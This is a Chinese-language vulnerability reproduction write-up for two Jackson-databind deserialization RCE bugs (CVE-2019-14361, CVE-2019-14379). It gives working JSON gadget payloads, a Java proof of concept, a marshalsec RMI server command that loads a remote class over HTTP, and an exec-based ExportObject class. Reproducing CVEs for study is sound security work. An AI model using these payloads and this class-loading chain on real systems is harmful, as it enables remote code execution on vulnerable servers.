CVE-2019-14361 & CVE-2019-14379漏洞复现
7月30日晚收到了推送,得知 Jackson-databind 又出了新的 RCE ,又有大佬找到了新的利用方式。
漏洞分析
根据 Jackson 开发者的 issue ,触发这个 Jackson 漏洞需要满足如下要求,
目标应用接收到不可信客户端发送的 JSON 数据
目标应用使用多态类型处理方式来处理 java.lang.Object 类型的属性;
在该漏洞中就是依赖的第三方 jar 包有点多(感觉在实际利用过程中能遇到这些个库也挺巧的)
环境搭建
本文中用到的第三方库有:
jackson-annotations-2.9.8
jackson-core-2.9.8
jackson-databind-2.9.8
ehcache-2.9.1
slf4j-api-1.7.7
logback-core-1.3.0-alpha4
slf4j-simple-1.7.21
javax.transaction_1.0.0.0_1-1
在 http://www.mvnrepository.com 上下载即可。
漏洞代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import java.lang.Exception;
public class Main {
public static void main(String[] args) {
System.out.println("Mapping");
// 注意,在高版本的JDK上存在限制,需要将com.sun.jndi.rmi.object.trustURLCodebase的值设置为true,默认为false
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// CVE-2019-14361 payload
String jsonStr1 = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", {\"jndiLocation\":\"rmi://127.0.0.1:1099/ExportObject\"}]";
// CVE-2019-14379 payload
String jsonStr2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"rmi://127.0.0.1:1099/ExportObject\"}}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
System.out.println("Serializing");
Object obj = null;
try {
// !->此处更换payload<-!
obj = mapper.readValue(jsonStr1, java.lang.Object.class);
} catch(Exception e) {
e.printStackTrace();
}
System.out.println("objectified");
try {
mapper.writeValueAsString(obj);
} catch(Exception e) {
e.printStackTrace();
}
try {
System.out.println("stringified: " + mapper.writeValueAsString(obj));
} catch(Exception e)
{
e.printStackTrace();
}
}
}
|
构建步骤
本文在 IDEA 上生成项目
- 新建 java Commandline 项目
- 将上述代码复制进
Main
函数
- 单击红框中的图标,进入项目结构设置

- 将下载好的外部库导入到项目中
具体导入步骤可以参考我的这篇文章,再此不做赘述 https://www.secquan.org/BugWarning/1069944
攻击流程
- 开启 RMI 服务
为了方便,我们可以使用marshalsec这款神器,可以快速开启 RMI 和 LDAP 服务。当然你需要下载源码包,使用 maven 编译。下载链接:https://github.com/mbechler/marshalsec,下载到本地后,利用
mvn clean package -DskipTests
即可编译,编译的结果如下:

开启 RMI 服务:
1
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8000/#ExportObject
|

注:
:# 后面填写你的恶意类的类名,它会自动绑定 URI,rmi 默认端口号为 1099 。
- 编译 ExportObject.java
ExportObject.java代码内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package com.by.rmi;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e = new Exception(result);
throw e;
}
public static void main(String[] args) throws Exception {
ExportObject e = new ExportObject();
}
}
|
注
:上述代码的功能为在 mac 平台上弹出计算器,如更换平台,请自行更换 exec 函数中的内容。
编译成class文件:
javac ExportObject.java
- 在生成 ExportObject.class 文件夹下执行 python2 -m SimpleHTTPServer 8000,在本地启动 HTTP 服务。
CVE-2019-14361 测试
将 POC 中的 payload 更换为 jsonStr1,并编译运行,结果如下:

CVE-2019-14379 测试
将 POC 中的 payload 更换为 jsonStr2,并编译运行,结果如下:

相应的,rmi 服务运行的截图如下:
